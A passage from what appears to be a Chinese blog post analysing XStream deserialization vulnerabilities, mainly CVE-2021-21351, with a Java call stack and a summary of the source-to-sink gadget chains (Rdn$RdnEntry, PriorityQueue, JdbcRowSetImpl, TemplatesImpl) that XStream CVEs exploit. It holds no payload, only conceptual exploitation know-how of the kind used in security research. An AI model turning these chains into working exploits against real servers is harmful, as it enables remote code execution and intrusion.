unmarshal:92, TreeSetConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1409, XStream (com.thoughtworks.xstream)
unmarshal:1388, XStream (com.thoughtworks.xstream)
fromXML:1354, XStream (com.thoughtworks.xstream)

这个cve和一开始的cve-2013-7285一样都是用的stored-set,其实我们看调用栈就能看出来,这是为了从TreeSetConverter开始然后触发stored-set标签对象的compareTo方法,只是cve-2013-7285对compareTo的调用下一步触发了动态代理机制,而CVE-2021-21351走的是正常流程,它找到的是javax.naming.ldap.Rdn$RdnEntry这个类,以Rdn$RdnEntry类的compareTo为source,到JdbcRowSetImpl的connect为sink。

其实在标题这个范围内的CVE中绝大部分链用的都是javax.naming.ldap.Rdn$RdnEntry以及java.util.PriorityQueue作为source,而纵观整个Xstream中的cve,流程如何走到source的方式其实也就几种

TreeMapConverter->TreeMap#putAll->TreeMap#put->source#compareTo->...->sink

MapConverter->HashMap#put->HashMap#hash->source#hashCode->...->sink

SerializableConverter->source#readObject->...->sink

而sink其实无非就是我们常见的其他各种反序列化中的sink,比如Runtime、JdbcRowSetImpl、TemplatesImpl、ProcessBuilder等等

而不同的CVE要么是绕过source到sink上的某一个被加入黑名单的环节,要么是重新寻找新的source->sink链,这个过程尤其是后者很难
Xstream漏洞原理是这么个原理,核心却是自动利用链挖掘,尝试了一下gadgetinspector, 不是很好用,以后考虑修改一下gadgetinspector或者自己写点挖利用链的工具

posted @ 2022-04-06 16:14  Escape-w  阅读(2308)  评论(0编辑  收藏  举报